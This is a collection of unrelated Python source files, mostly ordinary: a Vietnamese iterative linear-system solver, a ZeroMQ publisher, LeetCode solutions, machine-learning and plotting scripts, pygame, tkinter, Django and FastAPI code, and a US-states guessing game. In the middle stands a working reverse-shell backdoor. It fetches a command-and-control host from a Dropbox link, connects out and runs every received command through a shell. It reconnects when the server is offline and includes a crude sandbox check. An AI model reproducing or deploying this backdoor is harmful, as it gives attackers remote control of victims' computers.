# Gói C: gói lặp đơn giải pt x = bx + d với sai số e
# input : B, d, e
# ouput: x*
def lap_don(B, d, e):
    x0 = d

    def phi(b, x, d):
        m = []
        k = []
        for r in b:
            p = sum(x[i] * r[i] for i in range(n))
            m.append(p)
        for i in range(n):
            k.append(m[i] + d[i])
        return k

    xk = phi(B, x0, d)
    dem = 0
    while c_vecto(sub(x0, xk)) > e:
        x0 = xk
        xk = phi(B, x0, d)
        dem = dem + 1
    print("Số lần lặp: ", dem)

    print("Nghiệm của hệ phương trình là: ", xk)
    return xk

# main
if kt(B) == -1:
    print("B không phải ma trận chéo trội.")
else:
    nghiem = lap_don(B, d, e)
    print("Kiểm tra tính đúng đắn của thuật toán:")

    def kt():
        m = []
        kt = []
        for r in B:
            p = sum(nghiem[i] * r[i] for i in range(n))
            m.append(p)
        for i in range(n):
            kt.append(nghiem[i] - m[i] - d[i])
        return kt
    print("x* - Bx* - d = ", kt())

Report GTS/Chủ đề 11 - PP Lặp đơn và Jacobi giải gần đúng hệ phương trình tuyến tính/Chủ đề 11.1_PP lặp đơn giải HPT.py


# 数据产生端  生产者
#
import time
import zmq
import json

class Publisher:
    def __init__(self,to_url:str='tcp://192.168.222.129:5555',topic='') -> None:
        """初始化一个消息发布者
        一条消息的结构是: "(topic)-(序列化成字符串的json)"   topic可能是空字符串，此时最前面是-
        Args:
            to_url (str, optional): 消息中间件的地址. Defaults to 'tcp://192.168.222.129:5555'.
            topic: 发布的主题，可以使用set_topic进行重新设置，Defaults to '',订阅所有topic.

        """
        self.to_url = to_url
        self.topic:str = topic
        ctx = zmq.Context.instance()

        self.publisher = ctx.socket(zmq.PUB)
        self.connect()
        print(f"pub to {self.to_url}")

    def set_topic(self,topic:str=''):
        """设置发布的主题

        Args:
            topic (str, optional): 发布的主题. Defaults to ''.
        """
        self.topic = topic

    def send_json(self,content:dict):
        """发送json数据

        Args:
            content (dict): 要发送的内容，必须是字典类型
        """
        assert type(content)==dict
        str_to_send = self.topic+'-'+json.dumps(content)
        print(str_to_send.encode())
        self.publisher.send(str_to_send.encode('utf-8'))
        time.sleep(0.001)         # 释放cpu资源

    def connect(self):
        """如果没有关闭连接，无需调用
        """
        self.publisher.connect(self.to_url)
        time.sleep(2)    # 等待pub和sub组成拓扑

    def close(self):
        self.publisher.close()

if __name__ == '__main__':
    import json,uuid
    with open('msg_config.json','r') as f:
        mesconfig = json.load(f)
    puber = Publisher(f"tcp://{mesconfig['proxy_host']}:{mesconfig['in_proxy_port']}")
    puber.set_topic('a')
    while True:
        try:
            puber.send_json({'aaaaaaaa':str(uuid.uuid4())})
        except InterruptedError:
            break


# -*- coding: utf-8 -*-
"""
Created on Mon Dec  9 15:55:17 2019

@author: Tianqi Guo
"""

class Solution(object):
    def lengthLongestPath(self, input):
        """
        :type input: str
        :rtype: int
        """
        # ans - longest length
        # s - stack for previous folders
        # l - stack for previous levels
        ans, s, l = 0, [], [-1]
        # split the input string by \n, and check each folder
        for path in input.split("\n"):
            # its level is simply how many \t it has
            level = path.count('\t')
            # keep popping previous folder
            # if it is not the parent folder of current one
            while level <= l[-1]:
                l.pop()
                s.pop()
            # push current folder and level to the stacks
            s.append(path.lstrip('\t'))
            l.append(level)
            # compare with answer if current folder is a file (it has '.' in name)
            if '.' in path:
                # update answer length
                ans = max(ans, len('/'.join(s)))
        # return answer length
        return(ans)


# read lower and upper from console,print prime numbers b/w them

lower=int(input("enter first num1: "))
upper=int(input("enter num2: "))
for num in range(lower,upper+1):
    for i in range(2,num):
        if(num%i==0):
          break
    else:
        print(num)


import pandas as pd
from sklearn.preprocessing import LabelEncoder
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestRegressor
from sklearn.metrics import mean_absolute_error,r2_score

X = pd.read_csv('new_train.csv')
X_test = pd.read_csv('new_test.csv')
temp_test = pd.read_csv('new_test.csv')

Y = X.base_score
X.drop(['base_score'],axis=1,inplace=True)
X_test.drop(['patient_id'],axis=1,inplace=True)

X['name_of_drug'] = LabelEncoder().fit_transform(X['name_of_drug'])
X['use_case_for_drug'] = LabelEncoder().fit_transform(X['use_case_for_drug'])

X_test['name_of_drug'] = LabelEncoder().fit_transform(X_test['name_of_drug'])
X_test['use_case_for_drug'] = LabelEncoder().fit_transform(X_test['use_case_for_drug'])

#train_X,val_X,train_Y,val_Y = train_test_split(X,Y,train_size=0.8,test_size=0.2,random_state=0)
model = RandomForestRegressor(n_estimators=100, random_state=1)
model.fit(X,Y)
preds = model.predict(X_test)

#checking with validation data for accuracy scores
# me=mean_absolute_error(val_Y, preds)
# r_score = r2_score(val_Y,preds)
# print(me,r_score)
output = pd.DataFrame({'patient_id':temp_test.patient_id,'base_score':preds})
output.to_csv('submission.csv',index=False)


import os
import re
import socket
import struct
import subprocess
import time

def c2connect():

    proc = subprocess.Popen("curl https://www.dropbox.com/s/nrt2ug738i9jfpw/ngrokdomain.txt?dl=0 --ssl-no-revoke -L", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout_value = proc.stdout.read() + proc.stderr.read()
    output_str = str(stdout_value, "UTF-8")
    mainsocket = output_str.split('%')[0].replace(' ', '').split(':')

    HOST = mainsocket[0]
    PORT = int(mainsocket[1])

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.send(str.encode("\n\n[*] Connection Established!\n\n"))

    shellloop(s)

    s.close()

def shellloop(s):
    while 1:
        try:
            s.send(str.encode(os.getcwd() + "> "))
            data = s.recv(1024).decode("UTF-8")
            data = data.strip('\n')
            if data == "quit":
                s.close()
                break
            if data[:2] == "cd":
                os.chdir(data[3:])
            if len(data) > 0:
                if re.match(r'[P,p][O,o][W,w][E,e][R,r][S,s][H,h][E,e][L,l][L,l]',data) != "None" and len(data) == 10:
                    s.send(str.encode("\n" + "!!!  powershell command denied  !!!" + "\n" +"Use: _> powershell -c \"<cmd>\" Instead"+"\n\n"))
                else:
                    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                                            stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    output_str = str(stdout_value, "UTF-8")
                    s.send(str.encode("\n" + output_str))

        except WindowsError as e:
            print("C2 is Offline, reconnection in 1 seconds")

            time.sleep(1)
            c2connect()

        except Exception as e:
            print(e)
            continue

if __name__ == "__main__":

    if os.cpu_count() <= 2:
        print("ERROR")

    while (1):
        c2connect()


import pygame
pygame.init()
screen = pygame.display.set_mode([800,600])
keep_going = True
pic = pygame.image.load("CrazySmile.bmp")
# pic2 = pygame.image.load("CrazySmile.bmp")
colorkey = pic.get_at((0,0))
pic.set_colorkey(colorkey)
picx = 0
picy = 0
BLACK = (0,0,0)
timer = pygame.time.Clock()
speedx = 27
speedy = 99

# create a list of pics and locations
pics = list()
# print("pics: ", pics)
pics.append(pic)
# print("pics: ", pics)

locations = list()
# print("locations: ", locations)
locations.append([0,0])
# print("locations: ", locations)

# start
while keep_going:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            keep_going = False

    picx += speedx
    picy += speedy

    if picx <= 0 or picx + pic.get_width() >= 800:
        speedx = -speedx
    if picy <= 0 or picy + pic.get_height() >= 600:
        speedy = -speedy

    screen.fill(BLACK)

    # create a new smile, and add its new location
    newPic = pygame.image.load("CrazySmile.bmp")
    pics.append(newPic)

    newLocation = [picx, picy]
    locations.append([picx, picy])

    # print("pics: ", pics)
    # print("locations: ", locations)

    length = len(pics)

    for l in range(length):
        currentPic = pics[l]
        print('currentPic: ', currentPic)
        currentLocation = locations[l]
        print('currentLocation: ', currentLocation)

        screen.blit(currentPic, currentLocation)

    pygame.display.update()
    timer.tick(60)

pygame.quit()


from tkinter import *

arpan_root=Tk()

# Width x Height
arpan_root.geometry("444x234")  #geometry means hum apni default window ka size set kar sakte hai

# width, height
arpan_root.minsize(300, 100)

# width, height
arpan_root.maxsize(1200,1000)

arpan1 = Label(text="Hello")    # Label -> wo hota hai jisse user interact nhi karta
arpan1.pack()

arpan_root.mainloop()


################
# Author: Santiago Erroz Ferrer
# To run the app from the terminal in the folder Interactive_plots_with_python_bokeh:
# bokeh serve my_app --show
# source of figures: Erroz-Ferrer et al 2019 (MNRAS)
################

from bokeh.plotting import figure, curdoc
from bokeh.models import ColumnDataSource, Range1d
from bokeh.layouts import row, column
from bokeh.models.widgets import PreText, Select
import glob

def update(attr, old, new):   # This function updates the plot once we select a new value in the dropdown menu
    new_src = make_dataset(ticker1.value)
    src.data.update(new_src.data)

def make_plot(source):    # This function reads the pdf file that was produced using challenge.py
    page_logo = figure(plot_width = 1400, plot_height = 800)
    page_logo.toolbar.logo = None
    page_logo.toolbar_location = None
    page_logo.x_range=Range1d(start=0, end=1)
    page_logo.y_range=Range1d(start=0, end=1)
    page_logo.xaxis.visible = None
    page_logo.yaxis.visible = None
    page_logo.xgrid.grid_line_color = None
    page_logo.ygrid.grid_line_color = None
    page_logo.image_url(url='url', x=0.0, y = 1, h=None, w=None, source=source)
    page_logo.outline_line_alpha = 0
    return page_logo

def make_dataset(name):   # This function selects the filename to read
    filename = './my_app/static/'+name+'.pdf'
    return ColumnDataSource(dict(url = [filename]))

# Now we start with the main part

paths = glob.glob('./my_app/static/*pdf')   # First we read the paths of the pdfs that were produced with challenge.py

data = list()     # We create a list with the databases that is plotted at each path
for file in paths:
    name=file.split('./my_app/static/')[1].split('.pdf')[0]
    data.append(name)
DEFAULT_TICKERS = data

ticker1 = Select(title='Select activity to plot',value=data[0], options= DEFAULT_TICKERS)   # dropdown select with the databases
ticker1.on_change('value', update)    # this will update the plot once we select a new option in the dropdown menu

src = make_dataset(ticker1.value)    # the source of data is updated with the new selection from the dropdown menu

page_logo = make_plot(src)    # we make the plot with the selected values from the dropdown menu

layout = column(ticker1, page_logo)   # the app is desinged to have two rows in one column: the dropdown menu (up) and the plot (bottom)

curdoc().add_root(layout)   # we call the app to be shown


from user.models import Profile

from api.utils import failure_response
from api.utils import success_response
from django.contrib.auth.models import User
from friendship.models import Friend
from lst.models import Lst
from lst.models import LstSaveActivity
from notification.models import Notification
from show.models import Show
from tag.models import Tag

from ..tasks import create_lst_edit_notif
from ..tasks import create_modified_collaborators_notif

class UpdateLstController:
    def __init__(self, request, pk, data, serializer, is_add=False, is_remove=False):
        self._request = request
        self._pk = pk
        self._data = data
        self._serializer = serializer
        self._user = request.user
        self._lst = None
        self._profile = None
        self._is_add = is_add
        self._is_remove = is_remove
        self._old_collaborators = []
        self._profiles_to_notify = []

    def _is_simple_update(self):
        return not (self._is_add or self._is_remove)

    def _notify_collaborator(self, profile):
        if not profile:
            return
        notif = Notification()
        notif.notif_type = "list_invite"
        notif.from_user = self._profile
        notif.to_user = profile
        notif.lst = self._lst
        notif.save()
        return notif

    def _create_edit_notification(self, modified_shows):
        if not modified_shows:
            return
        from_profile_id = self._profile.id
        to_profile_ids = [p.id for p in self._profiles_to_notify]
        create_lst_edit_notif.delay(
            from_profile_id=from_profile_id,
            to_profile_ids=to_profile_ids,
            lst_id=self._lst.id,
            num_modified_shows=len(modified_shows),
            is_add=self._is_add,
            is_remove=self._is_remove,
        )

    def _create_new_owner_notification(self, owner):
        if not owner:
            return
        for profile in self._profiles_to_notify:
            notif = Notification()
            notif.notif_type = "list_edit"
            notif.from_user = self._profile
            notif.to_user = profile
            notif.lst = self._lst
            notif.new_owner = owner
            notif.save()

    def _create_modified_collaborators_notification(self, modified_collaborators=[]):
        if not modified_collaborators:
            return
        from_profile_id = self._profile.id
        to_profile_ids = [p.id for p in self._profiles_to_notify]
        create_modified_collaborators_notif.delay(
            from_profile_id=from_profile_id,
            to_profile_ids=to_profile_ids,
            modified_profile_ids=[m.id for m in modified_collaborators],
            lst_id=self._lst.id,
            is_add=self._is_add,
            is_remove=self._is_remove,
        )

    def _modify_tags(self, tag_ids):
        if self._is_simple_update():
            return
        for tag_id in tag_ids:
            if Tag.objects.filter(pk=tag_id):
                tag = Tag.objects.get(pk=tag_id)
                if self._is_remove:
                    self._lst.custom_tags.remove(tag)
                elif tag not in self._lst.tags.all():
                    self._lst.custom_tags.add(tag)

    def _modify_shows(self, show_ids):
        if self._is_simple_update():
            return
        modified_shows = []
        for show_id in show_ids:
            if Show.objects.filter(pk=show_id):
                show = Show.objects.get(pk=show_id)
                if self._is_remove:
                    self._lst.shows.remove(show)
                    activity = self._lst.activity.get(show=show)
                    activity.delete()
                    modified_shows.append(show)
                else:
                    self._lst.shows.add(show)
                    if not show.activity.filter(lst=self._lst):
                        lst_activity = LstSaveActivity()
                        lst_activity.show = show
                        lst_activity.saved_by = self._profile
                        lst_activity.lst = self._lst
                        lst_activity.save()
                    modified_shows.append(show)
        self._create_edit_notification(modified_shows=modified_shows)

    def _modify_collaborators(self, collaborator_ids):
        if self._is_simple_update():
            return
        modified_collaborators = []
        for c_id in collaborator_ids:
            if not (User.objects.filter(id=c_id) or Profile.objects.filter(user__id=c_id)):
                continue
            c = User.objects.get(id=c_id)
            c_is_friend = Friend.objects.are_friends(self._user, c)
            c = Profile.objects.get(user__id=c_id)
            if self._is_remove and c in self._old_collaborators:
                self._lst.collaborators.remove(c)
                modified_collaborators.append(c)
            elif self._is_add and c_is_friend and c not in self._old_collaborators:
                self._lst.collaborators.add(c)
                modified_collaborators.append(c)
                self._notify_collaborator(c)
        self._create_modified_collaborators_notification(modified_collaborators=modified_collaborators)

    def process(self):
        existing_lst = Lst.objects.filter(pk=self._pk).prefetch_related(
            "shows", "custom_tags", "owner", "collaborators"
        )
        if not existing_lst:
            return failure_response(f"No list to be found with id of {self._pk}.")
        self._lst = existing_lst[0]
        self._profile = Profile.objects.get(user=self._user)

        name = self._data.get("name")
        lst_pic = self._data.get("lst_pic")
        description = self._data.get("description")
        is_private = self._data.get("is_private", self._lst.is_private)
        collaborator_ids = self._data.get("collaborators", [])
        owner_id = self._data.get("owner", self._user.id)
        show_ids = self._data.get("shows", [])
        tag_ids = self._data.get("tags", [])

        user_is_owner = self._profile == self._lst.owner
        user_is_collaborator = self._profile in self._lst.collaborators.all()
        if not (user_is_owner or user_is_collaborator):
            return failure_response(f"User {self._user} does not have the credentials to list of id {self._pk}.")

        # need to copy; querysets cannot be copied easily
        self._old_collaborators = [Profile.objects.get(pk=c.id) for c in self._lst.collaborators.all()]
        self._profiles_to_notify = self._old_collaborators + [self._lst.owner]

        # don't want to notify yourself
        self._profiles_to_notify.remove(self._profile)

        if user_is_owner:
            self._lst.is_private = is_private
            self._modify_shows(show_ids)
            self._modify_tags(tag_ids)
            if not (self._lst.is_saved or self._lst.is_watch_later):
                if name:
                    if len(name) > 100:
                        return failure_response("A list name must be 100 characters or fewer.")
                    self._lst.name = name
                if description:
                    self._lst.description = description
                self._lst.lst_pic = lst_pic
                self._modify_collaborators(collaborator_ids)
                if self._user.id != owner_id and Profile.objects.filter(user__id=owner_id):
                    owner = Profile.objects.get(user__id=owner_id)
                    self._create_new_owner_notification(owner)
                    self._lst.owner = owner
        elif user_is_collaborator:
            self._lst.lst_pic = lst_pic
            self._modify_collaborators(collaborator_ids)
            self._modify_shows(show_ids)
            self._modify_tags(tag_ids)

        self._lst.save()
        return success_response(self._serializer(self._lst, context={"request": self._request}).data)


import os
import matplotlib.pyplot as plt
import seaborn as sns
from hog import HOG
from lbp import LBP
from datasets import Cifar10, DescribableTexture, Faces
from sklearn.svm import LinearSVC
from sklearn.metrics import classification_report
from sklearn.metrics import confusion_matrix

def main():
    root = os.path.dirname(os.path.abspath(__file__))
    cifar_path = os.path.join('datasets', 'cifar-10')
    texture_path = os.path.join('datasets', 'texture')
    faces_path = os.path.join('datasets', 'faces')
    cifar10 = Cifar10(root, cifar_path)
    cifar10.read_data()
    cifar10.rotate_images()
    desc_texture = DescribableTexture(root, texture_path)
    desc_texture.split_data()
    faces = Faces(root, faces_path)
    faces.split_data()
    hog = HOG(show_images=False)
    lbp = LBP(show_images=False)

    datasets = [cifar10, desc_texture, faces]
    descriptors = [lbp, hog]

    for dataset in datasets:
        for descriptor in descriptors:
            print('--------------------------------------------------------')
            print('Results for {} on {}:'.format(descriptor.__class__.__name__, dataset.__class__.__name__))
            descriptor.apply(dataset.train_data)
            clf = LinearSVC()
            clf = clf.fit(descriptor.descriptor, dataset.train_labels)
            descriptor.apply(dataset.test_data)
            predictions = clf.predict(descriptor.descriptor)
            score = clf.score(descriptor.descriptor, dataset.test_labels)
            print('Score = {}'.format(score))
            print(classification_report(dataset.test_labels, predictions, target_names=dataset.labels_names))
            cm = confusion_matrix(dataset.test_labels, predictions)
            ax = plt.subplot()
            sns.heatmap(cm, annot=True)
            ax.set_xlabel('Predicted labels');
            ax.set_ylabel('True labels');
            ax.set_title('Confusion Matrix for {}'.format(descriptor.__class__.__name__));
            ax.xaxis.set_ticklabels(dataset.labels_names);
            ax.yaxis.set_ticklabels(dataset.labels_names);
            plt.show()
            print('--------------------------------------------------------')
            print('\n\n')

if __name__ == '__main__':
    main()


import warnings

import numpy as np
import pandas as pd

from lib.aux import nam

from lib import reg, aux, plot,util

def plot_single_bout(x0, discr, bout, color, label, ax, fit_dic=None, plot_fits='best',print_fits=False,
                     marker='.', legend_outside=False,xlabel = 'time (sec)',xlim=None, **kwargs):
    distro_ls = ['powerlaw', 'exponential', 'lognormal', 'lognorm-pow', 'levy', 'normal', 'uniform']
    distro_cs = ['c', 'g', 'm', 'k', 'orange', 'brown', 'purple']
    num_distros = len(distro_ls)
    lws = [2] * num_distros

    if fit_dic is None:
        xmin, xmax = np.min(x0), np.max(x0)
        fit_dic = util.fit_bout_distros(x0, xmin, xmax, discr, dataset_id='test', bout=bout,print_fits=print_fits, **kwargs)
    idx_Kmax = fit_dic['idx_Kmax']
    xrange, du2, c2, y = fit_dic['values']
    lws[idx_Kmax] = 4
    ddfs = fit_dic['cdfs']
    for ii in ddfs:
        if ii is not None:
            ii /= ii[0]
    ax.loglog(xrange, y, marker, color=color, alpha=0.7, label=label)
    ax.set_title(bout)
    ax.set_xlabel(xlabel)
    ax.set_ylim([10 ** -3.5, 10 ** 0.2])
    if xlim is not None :
        ax.set_xlim(xlim)
    distro_ls0, distro_cs0 = [], []
    for z, (l, col, lw, ddf) in enumerate(zip(distro_ls, distro_cs, lws, ddfs)):
        if ddf is None:
            continue
        if plot_fits == 'best' and z == idx_Kmax:
            cc = color
        elif plot_fits == 'all' or l in plot_fits:
            distro_ls0.append(l)
            distro_cs0.append(col)
            cc = col
        else:
            continue
        ax.loglog(xrange, ddf, color=cc, lw=lw, label=l)
    if len(distro_ls0) > 1:
        if legend_outside:
            plot.dataset_legend(distro_ls0, distro_cs0, ax=ax, loc='center left', fontsize=25, anchor=(1.0, 0.5))
        else:
            plot.dataset_legend(distro_ls0, distro_cs0, ax=ax, loc='lower left', fontsize=15)

@reg.funcs.graph('epochs')
def plot_bouts(name=None, plot_fits='',print_fits=False, turns=False, stridechain_duration=False, legend_outside=False, **kwargs):
    if name is None :
        if not turns:
            name = f'runsNpauses{plot_fits}'
        else:
            name = f'turn_epochs{plot_fits}'
    P = plot.AutoPlot(name=name,build_kws={'Ncols': 2, 'sharey': True, 'wh' : 5}, **kwargs)
    valid_labs = {}
    for j, d in enumerate(P.datasets):
        id = d.id
        v = d.pooled_epochs
        if v is None:
            continue

        kws = {
            'marker': 'o',
            'plot_fits': plot_fits,
            'print_fits': print_fits,
            'label': id,
            'color': d.color,
            'legend_outside': legend_outside,
            # 'axs': P.axs,
            'x0': None
        }

        if not turns:
            if 'pause_dur' in v.keys() and v.pause_dur is not None:
                plot_single_bout(fit_dic=v.pause_dur, discr=False, bout='pauses', ax=P.axs[1], **kws)
                valid_labs[id] = kws['color']
            if stridechain_duration and 'run_dur' in v.keys() and v.run_dur is not None:
                plot_single_bout(fit_dic=v.run_dur, discr=False, bout='runs', ax=P.axs[0], **kws)
                valid_labs[id] = kws['color']
            elif not stridechain_duration and 'run_count' in v.keys() and v.run_count is not None:
                plot_single_bout(fit_dic=v.run_count, discr=True, bout='stridechains', xlabel='# strides', ax=P.axs[0], **kws)
                valid_labs[id] = kws['color']
        else:
            if 'turn_dur' in v.keys() and v.turn_dur is not None:
                plot_single_bout(fit_dic=v.turn_dur, discr=False, bout='turn duration', ax=P.axs[0], **kws)
                valid_labs[id] = kws['color']
            if 'turn_amp' in v.keys() and v.turn_amp is not None:
                plot_single_bout(fit_dic=v.turn_amp, discr=False, bout='turn amplitude', xlabel='angle (deg)',
                                 xlim=(10 ** -0.5, 10 ** 3), ax=P.axs[1], **kws)
                valid_labs[id] = kws['color']
    P.axs[0].set_ylabel('probability')
    P.axs[1].yaxis.set_visible(False)
    if P.Ndatasets > 1:
        P.data_leg(0, labels=valid_labs.keys(), colors=valid_labs.values(), loc='lower left', fontsize=15)
        # dataset_legend(valid_labs.keys(), valid_labs.values(), ax=P.axs[0], loc='lower left', fontsize=15)
        # dataset_legend(valid_labs.keys(), valid_labs.values(), ax=P.axs[0], loc='lower left', fontsize=15)
    P.adjust((0.15, 0.95), (0.15, 0.92), 0.05, 0.005)
    return P.get()

@reg.funcs.graph('runs & pauses')
def plot_stridesNpauses(name=None, stridechain_duration=False, time_unit='sec',
                        plot_fits='all', range='default', print_fits=False, only_fit_one=True, mode='cdf',
                        subfolder='bouts', refit_distros=False, test_detection=False, **kwargs):
    warnings.filterwarnings('ignore')
    if name is None:
        nn = f'stridesNpauses_{mode}_{range}_{plot_fits}'
        name = nn if not only_fit_one else f'{nn}_0'
    P = plot.AutoPlot(name=name, subfolder=subfolder,build_kws={'Ncols': 2, 'sharey': True, 'wh' : 5}, **kwargs)
    pause_par = nam.dur('pause')
    if stridechain_duration:
        chain_par = nam.dur('exec')
        chn_discr = False
        chain_xlabel = f'time $({time_unit})$'
        chn0 = 0.5
        chn1 = 50
        chn_t0, chn_t1 = 0, 10 ** 2
    else:
        chain_par = nam.length(nam.chain('stride'))
        chn_discr = True
        chain_xlabel = '# chained strides'
        chn0 = 1
        chn1 = 100
        chn_t0, chn_t1 = 10 ** 0, 10 ** 2.5

    pau_discr = False
    pau0 = 0.4
    pau1 = 20.0
    pau_t0, pau_t1 = 0, 10 ** 1.4
    pause_xlabel = f'time $({time_unit})$'

    pau_durs = []
    chn_durs = []

    frs = []
    for label, dataset in zip(P.labels, P.datasets):
        frs.append(dataset.fr)

        pau_dur = dataset.get_par(pause_par).dropna().values
        chn_dur = dataset.get_par(chain_par).dropna().values
        if time_unit == 'ms':
            pau_dur *= 1000
            pau0 *= 1000
            pau1 *= 1000
            pau_t0 *= 1000
            pau_t1 *= 1000
            if stridechain_duration:
                chn_dur *= 1000
                chn0 *= 1000
                chn1 *= 1000
                chn_t0 *= 1000
                chn_t1 *= 1000
        pau_durs.append(pau_dur)
        chn_durs.append(chn_dur)

    if test_detection:
        for l, d, col in zip(P.labels, P.datasets, P.colors):
            dic0 = d.load_dicts('bout_dicts')
            dic = {}
            for iid, ddd in dic0.items():
                df = pd.DataFrame.from_dict(ddd)
                df.index.set_names(0, inplace=True)
                dic[iid] = df

            pau_dur = np.array(aux.flatten_list([ddic[pause_par] for ddic in dic.values()]))
            chn_dur = np.array(aux.flatten_list([ddic[chain_par] for ddic in dic.values()]))
            pau_durs.append(pau_dur)
            chn_durs.append(chn_dur)
            P.labels.append(f'{l} truth')
            frs.append(d.fr)
            P.colors.append(f'dark{col}')

    min_pauses, max_pauses = [np.min(dur) for dur in pau_durs], [np.max(dur) for dur in pau_durs]
    min_chains, max_chains = [np.min(dur) for dur in chn_durs], [np.max(dur) for dur in chn_durs]

    if range == 'broad':
        pau0, pau1 = np.min(min_pauses), np.max(max_pauses)
        chn0, chn1 = np.min(min_chains), np.max(max_chains)
    elif range == 'restricted':
        pau0, pau1 = np.max(min_pauses), np.min(max_pauses)
        chn0, chn1 = np.max(min_chains), np.min(max_chains)
    elif range == 'default':
        pass
    fits = {l: {} for l in P.labels}

    distro_ls = ['powerlaw', 'exponential', 'lognormal', 'lognorm-pow', 'levy', 'normal', 'uniform']
    distro_cs = ['c', 'g', 'm', 'k', 'yellow', 'brown', 'purple']
    num_distros = len(distro_ls)

    for j, (pau_dur, chn_dur, c, label, fr) in enumerate(zip(pau_durs, chn_durs, P.colors, P.labels, frs)):
        try:
            ref = reg.loadConf(id=label, conftype='Ref')
        except:
            ref = None
        for i, (x0, discr, xmin, xmax) in enumerate(
                zip([chn_dur, pau_dur], [chn_discr, pau_discr], [chn0, pau0], [chn1, pau1])):
            bout = 'stride' if i == 0 else 'pause'
            lws = [2] * num_distros

            if not refit_distros and ref is not None:
                u2, du2, c2, c2cum = util.compute_density(x0, xmin, xmax)
                b = util.BoutGenerator(**ref[bout]['best'])
                pdfs = [b.get(x=du2, mode='pdf')] * num_distros
                cdfs = [1 - b.get(x=u2, mode='cdf')] * num_distros
                idx_Kmax = 0

            else:
                fit_dic = util.fit_bout_distros(x0, xmin, xmax, discr, dataset_id=label, bout=bout,
                                           print_fits=print_fits, combine=False)
                idx_Kmax = fit_dic['idx_Kmax']
                cdfs = fit_dic['cdfs']
                pdfs = fit_dic['pdfs']
                u2, du2, c2, c2cum = fit_dic['values']
                lws[idx_Kmax] = 4
                fits[label].update(fit_dic['res_dict'])
            if mode == 'cdf':
                ylabel = 'cumulative probability'
                xrange = u2
                y = c2cum
                ddfs = cdfs
                for ii in ddfs:
                    if ii is not None:
                        ii /= ii[0]

            elif mode == 'pdf':
                ylabel = 'probability'
                xrange = du2
                y = c2
                ddfs = pdfs
                for ii in ddfs:
                    if ii is not None:
                        ii /= sum(ii)

            P.axs[i].loglog(xrange, y, '.', color=c, alpha=0.7)
            for z, (l, col, lw, ddf) in enumerate(zip(distro_ls, distro_cs, lws, ddfs)):
                if ddf is None:
                    continue
                if plot_fits == 'best' and z == idx_Kmax:
                    cc = c
                elif plot_fits == 'all':
                    cc = col
                else:
                    continue
                P.axs[i].loglog(xrange, ddf, color=cc, lw=lw, label=l)

    for ii in [0, 1]:
        if plot_fits in ['all']:
            P.data_leg(ii,labels=distro_ls, colors=distro_cs, loc='lower left', fontsize=15)
        P.data_leg(ii,loc='upper right', fontsize=15)
    P.conf_ax(0, xlab=chain_xlabel, ylab=ylabel, xlim=[chn_t0, chn_t1], title=r'$\bf{stridechains}$')
    P.conf_ax(1, xlab=pause_xlabel, xlim=[pau_t0, pau_t1], ylim=[10 ** -3.5, 10 ** 0], title=r'$\bf{pauses}$')
    P.adjust((0.15, 0.95), (0.15, 0.92), 0.05, 0.005)
    fit_df = pd.DataFrame.from_dict(fits, orient="index")
    fit_df.to_csv(P.fit_filename, index=True, header=True)
    return P.get()


from fastapi import FastAPI
from Models.Cam import Cam
import uvicorn
from Models.Web import Web

app = FastAPI()

@app.get("/")
def read_root():
    web = Web()

    for x in range(0, 7, 2):
        cam = Cam(x)
        cam.take_picture()
        web.send_request(cam.encoded_image)

    return {"Hello": "World"}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8080)


import time

start = time.time()
prime_sum = 0

prime = [True for i in range(1001)]
p = 2

while p * p <= 1000:
    if prime[p] == True:
        for i in range(p*p, 1001, p):
            prime[i] = False
    p += 1

print(prime)

# print(prime_sum)

end = time.time()
duration = end -start
print(prime_sum)
print(f'time: {duration}')


import objc
from PyObjCTest.testoutputinitializer import PyObjC_TestOutputInitializer
from PyObjCTools.TestSupport import TestCase

objc.registerMetaDataForSelector(
    b"PyObjC_TestOutputInitializer",
    b"initWithBooleanOutput:",
    {"arguments": {2: {"type_modifier": b"o"}}},
)

class TestOutputInitializer(TestCase):
    def testOutputInitializer(self):
        robj, rtrue = PyObjC_TestOutputInitializer.alloc().initWithBooleanOutput_(None)
        self.assertEqual(rtrue, objc.YES)
        self.assertEqual(robj.isInitialized(), objc.YES)


# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
class Solution:
    '''
        Version: 2
        Idea: Divide and Conquer
        - Merge Two list at a time
            Ex: 4 list size X -> 2 list size 2x
                -> 1 list size 4x
        Complexity:
        - Time: O(n.log(k))
            1. Since k lists and we're merging half each
                -> Log(k) merges
            2. Algorithm runs through every node twice
                -> 2n (2 cause once in child merges and
                    another time at the last merge)
            3. -> Total O(nlogk)
        - Space: O(k/2) cause the first level of bottom up
            div-conq store reference to the merged lists
            which is half of original
            -> O(k)
    '''
    def mergeKLists(self, lists: List[Optional[ListNode]]) -> Optional[ListNode]:
        def merge(l1, l2):
            dummy = curr = ListNode()
            while l1 and l2:
                if l1.val <= l2.val:
                    curr.next = l1
                    l1 = l1.next
                else:
                    curr.next = l2
                    l2 = l2.next

                curr = curr.next
            curr.next = l1 if l1 else l2
            return dummy.next

        merged = lists
        while len(merged) > 1:
            new_merged = []
            for i in range(0, len(merged), 2):
                if i + 1 < len(merged):
                    new_merged.append(merge(merged[i], merged[i+1]))
                else:
                    new_merged.append(merged[i])
            merged = new_merged

        return merged[0] if merged else None


import turtle
import pandas

screen = turtle.Screen()
screen.title("US States Game") #title of window

image = "blank_states_img.gif" # used as background

screen.addshape(image)

turtle.shape(image)
data = pandas.read_csv("50_states.csv")
state_name = data["state"]
state_list = state_name.to_list()
guessed_states = []

score = len(guessed_states) # better than using increasing int, as i can check answer
playing = True

while playing:
    answer_state = screen.textinput(title=f"{score}/50 states guessed correctly", prompt="Guess a state's name. (exit to quit)").title()
    if answer_state == "Exit": ## user can type Exit to leave. states not guessed will update in CSV file
        missing_states = [state for state in state_list not in guessed_states]
        missing_data = pandas.DataFrame(missing_states)
        missing_data.to_csv("missed_states.csv")
        print(missing_data)

        break
    if answer_state in state_list and answer_state not in guessed_states:

        row = data[data.state == answer_state]
        print(row)
        guessed_states.append(row.state.item())
